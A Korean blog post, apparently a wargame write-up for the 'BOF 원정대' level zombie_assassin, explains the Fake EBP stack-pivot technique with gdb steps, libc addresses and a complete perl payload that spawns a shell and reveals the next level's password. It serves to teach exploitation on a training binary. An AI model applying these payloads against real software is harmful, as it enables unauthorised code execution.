1. 취약점
저번과 소스코드는 비슷한데 strncpy()를 사용하면서 저번과 같은 문제풀이를 차단하였다.
문제의 힌트로 제시해준 FEBP(Fake EBP)를 사용하여 이 문제를 해결해보자
Fake EBP(FEBP)
저번에 SFP를 변조하면 스택의 기준을 잡고 있는 ebp 레지스터 값이 변화하여 프로그램의 실행흐름이 변화하는 것을 알 수 있었다(FPO 기법). FEBP도 sfp를 변조하여 ebp레지스터를 속여서 공격하는 기법이다.
1. leave를 수행하는 과정에서 변조된 SFP를 따라 ebp를 RTL 주소-4 위치에 둔다.
2. eip는 RET을 하기 위해 Return Address 자리의 leave를 저장하고 다시 leave를 수행하게 된다.
3. 그 후 두 번째 RET에서 eip는 RTL 코드를 읽어 RTL이 수행한다.
따라서 우리가 필요한 것은 이 프로그램의 leave의 주소, Buffer의 주소가 필요하다.
$ bash2
$ gcc -g -o zombie_assassi1 zombie_assassin.c
$ gdb -q zombie_assassi1
(gdb) disas main
leave의 주소 : 0x080484df
이제 버퍼의 크기를 알아보자. 두 손을 무겁게 해서..
(gdb) b *main+139 (strncpy() 실행 후)
(gdb) r "`perl -e 'print "\xe0\x8a\x05\x40","\xe0\x91\x03\x40", "\xf9\xbf\x0f\x40", "\x90"x28,"\xbf\xbf\xbf\xbf", "\xdf\x84\x04\x08"'`"
(gdb) x/60x $esp
빨간 네모가 buffer의 시작지점이다. 따라서 노란 네모의 주소로 EBP를 이동시켜야한다.
각각의 RTL 주소는 이 전 단계를 참고해주세요
system() 주소 : 0x40058ae0
/bin/sh 의 주소 : 0x400fbff9
exit()의 주소 : 0x400391e0
new Return Address : 0x080484df (leave 주소)
2. Exploit
1. 바로 괴롭힌다.(응??!)
$ ./zombie_assassin "`perl -e 'print "\xe0\x8a\x05\x40","\xe0\x91\x03\x40", "\xf9\xbf\x0f\x40", "\x90"x28,"\xac\xfa\xff\xbf", "\xdf\x84\x04\x08"'`"
2. 결과
id : zombie_assassin passwd : no place to hide
정말 레벨을 거듭하면서 느끼지만 공격 기법을 최초로 고안한 사람은 정말 대단하거 같다..
'Computer Science > BOF 원정대' 카테고리의 다른 글
[버퍼 오버플로우] Bof 원정대 (succubus -> nightmare ) (0) | 2016.10.09 |
---|---|
[버퍼 오버플로우] Bof 원정대 (zombie_assassin -> succubus ) (2) | 2016.10.09 |
[버퍼 오버플로우] Bof 원정대 (giant -> assassin ) (0) | 2016.10.08 |
[버퍼 오버플로우] Bof 원정대 (bugbear -> giant ) (0) | 2016.10.08 |
[버퍼 오버플로우] Bof 원정대 (darkknight -> bugbear) (0) | 2016.10.08 |